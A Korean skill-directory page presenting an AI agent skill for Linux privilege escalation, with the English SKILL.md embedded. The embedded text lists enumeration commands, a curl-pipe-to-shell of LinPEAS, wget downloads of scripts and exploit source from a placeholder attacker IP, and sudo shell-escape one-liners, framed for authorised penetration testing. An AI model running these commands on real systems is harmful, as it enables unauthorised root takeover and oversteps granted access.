본문으로 건너뛰기
Skillpedia
보안33k · #9060

Linux Privilege Escalation

하는 일

이 스킬은 AI 에이전트가 Linux 시스템에서 권한 상승 취약점을 점검하도록 안내합니다. 서면 허가를 받은 보안 테스터와 시스템 관리자를 위한 스킬입니다.

사용하는 경우

  • ✓일반 사용자가 root가 될 수 있는 설정을 찾으려고 Linux 서버를 검토할 때.
  • ✓sudo 규칙, 특수 권한 파일, 예약 작업에 취약점이 있는지 확인하고 싶을 때.
  • ✓Linux 호스트의 권한 상승 위험과 강화 방법에 대한 보고서가 필요할 때.

스킬 링크

https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/linux-privilege-escalation/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/linux-privilege-escalation/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“일반 사용자가 root가 될 수 있는 sudo 설정이나 예약 작업이 있는지 우리 Linux 서버를 검토해 주실 수 있나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 시스템의 설정, 규칙, 작업을 조사하고 알려진 위험 패턴과 비교한 뒤 발견한 내용을 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Linux Privilege Escalation

Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

Inputs / Prerequisites

Required Access

  • Low-privilege shell access to target Linux system
  • Ability to execute commands (interactive or semi-interactive shell)
  • Network access for reverse shell connections (if needed)
  • Attacker machine for payload hosting and receiving shells

Technical Requirements

  • Understanding of Linux filesystem permissions and ownership
  • Familiarity with common Linux utilities and scripting
  • Knowledge of kernel versions and associated vulnerabilities
  • Basic understanding of compilation (gcc) for custom exploits

Recommended Tools

  • LinPEAS, LinEnum, or Linux Smart Enumeration scripts
  • Linux Exploit Suggester (LES)
  • GTFOBins reference for binary exploitation
  • John the Ripper or Hashcat for password cracking
  • Netcat or similar for reverse shells

Outputs / Deliverables

Primary Outputs

  • Root shell access on target system
  • Privilege escalation path documentation
  • System enumeration findings report
  • Recommendations for remediation

Evidence Artifacts

  • Screenshots of successful privilege escalation
  • Command output logs demonstrating root access
  • Identified vulnerability details
  • Exploited configuration files

Core Workflow

Phase 1: System Enumeration

Basic System Information

Gather fundamental system details for vulnerability research:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

User and Permission Enumeration

# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who

Network Information

# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l

Process and Service Enumeration

# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root

Environment Variables

# Full environment
env

# PATH variable (for hijacking)
echo $PATH

Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh

Transfer scripts to target system:

# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 3: Kernel Exploits

Identify Kernel Version

uname -r
cat /proc/version

Search for Exploits

# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]

Common Kernel Exploits

Kernel Version Exploit CVE
2.6.x - 3.x Dirty COW CVE-2016-5195
4.4.x - 4.13.x Double Fetch CVE-2017-16995
5.8+ Dirty Pipe CVE-2022-0847

Compile and Execute

# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit

Phase 4: Sudo Exploitation

Enumerate Sudo Privileges

sudo -l

GTFOBins Sudo Exploitation

Reference https://gtfobins.github.io for exploitation commands:

# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash

LD_PRELOAD Exploitation

When env_keep includes LD_PRELOAD:

자주 묻는 질문

어떤 Linux 설정을 확인하나요?

sudo 권한, SUID 바이너리, cron 작업, capabilities, PATH 설정, NFS 구성을 확인합니다.

문제 해결도 도와주나요?

네. 취약점을 찾은 뒤 시스템을 강화하는 데 이 스킬이 도움이 됩니다.

특별한 접근 권한이 필요한가요?

스킬은 테스트가 허가된 시스템에서 낮은 권한의 셸이 있다고 가정합니다.

상세 정보

작성자의 원본 설명

This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.

repo: davila7/claude-code-templates

인기도

GitHub 스타
33k
순위
#9060
라이선스
MIT
업데이트
2026. 11. 2.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬